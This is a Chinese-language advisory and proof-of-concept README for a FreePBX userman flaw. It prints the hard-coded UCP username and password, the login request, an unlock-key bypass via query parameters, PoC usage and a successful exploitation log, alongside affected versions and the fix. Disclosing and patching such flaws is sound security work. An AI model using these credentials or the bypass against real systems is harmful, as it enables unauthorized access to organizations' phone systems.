FreePBX 用户管理(userman)模块中的一个严重漏洞,允许未经身份验证的攻击者使用在 UCP 通用模板设置过程中嵌入的硬编码凭据访问用户控制面板(UCP)。
CVSS v4.0: 9.1(严重) | CWE-798: 使用硬编码凭据
披露时间:2026年5月15日 | 报告者:s0nnyWT
当管理员使用可选的 UCP 通用模板设置功能(2021 年引入)时,会创建一个系统用户 FreePBXUCPTemplateCreator,其密码为硬编码、静态的。如果管理员在设置后从未更改过此密码,网络上的任何未授权用户都可以使用这些凭据登录 UCP。
| 字段 | 值 |
|---|---|
| 用户名 | FreePBXUCPTemplateCreator |
| 密码 | 1a2b3c@fd48jshs03123ld |
| 来源 | Userman.class.php — 密码经过 md5() 处理 |
| 攻击向量 | 网络 |
| 复杂度 | 低 |
| 所需认证 | 无 |
| 用户交互 | 无 |
| 先决条件 | 管理员必须运行过 UCP 通用模板设置 |
注意:
FreePBXUCPTemplateCreator用户仅在管理员明确运行 UCP 通用模板设置功能时才会创建。即使运行受影响版本,如果从未执行此设置,系统也不会因此 CVE 被利用。
| 平台 | userman 模块 | 受影响 | 已修复 |
|---|---|---|---|
| FreePBX 15 | — | 15.0.42+ | 不适用 |
| FreePBX 16 | userman | ≤ 16.0.44 | 16.0.45 |
| FreePBX 17 | userman | ≤ 17.0.6 | 17.0.7 |
修复措施在安装/升级过程中使用 bin2hex(random_bytes(24)) 随机化密码,并且现有模板创建者会在升级时重新生成密码。
pip3 install requests
python3 poc.py <target_url>
positional arguments:
target Target URL (e.g. http://192.168.1.100)
optional arguments:
-h, --help show this help message and exit
--no-check Skip version pre-flight check
--timeout TIMEOUT Request timeout in seconds (default: 15)
--method {creds,unlock,admin,all}
Which exploit method to run (default: all)
-y, --yes Auto-continue even if version is out of range
POST /ucp/ajax.php 使用 module=User&command=login 和硬编码凭据登录 UCP?unlockkey=&templateid= 查询参数绕过解锁密钥$ python3 poc.py http://192.168.1.100
============================================
CVE-2026-46376 PoC - FreePBX UCP Access
Target: http://192.168.1.100
============================================
[+] Target is reachable (HTTP 200)
[+] FreePBX version: 16.0.30
[+] Version 16.0.30 is in the affected range
[+] UCP interface is accessible
============================================
Exploitation
============================================
============================================
Method 1: Hard-Coded UCP Credentials
============================================
Username: FreePBXUCPTemplateCreator
Password: 1a2b3c@fd48jshs03123ld
[+] Got CSRF token: a749bea059fa66bd32087a8481a4d07b
[+] SUCCESS! Logged in as FreePBXUCPTemplateCreator
============================================
Summary
============================================
Target is VULNERABLE
要检查系统是否可被利用,PoC 会向 POST /ucp/ajax.php 发送登录请求,参数为 module=User&command=login 并带上凭据。如果返回 {"status":true},则表示模板创建者用户存在且密码仍是默认值。
返回 {"status":false,"message":"Invalid Login Credentials"} 表示以下两种情况之一:
userman 模块更新至 16.0.45(FreePBX 16)或 17.0.7(FreePBX 17)本 PoC 仅供教育和授权的安全测试目的使用。未经授权对不属于您或未获得明确测试许可的系统使用此漏洞利用工具是违法的。作者不对因使用本工具造成的任何滥用或损害负责。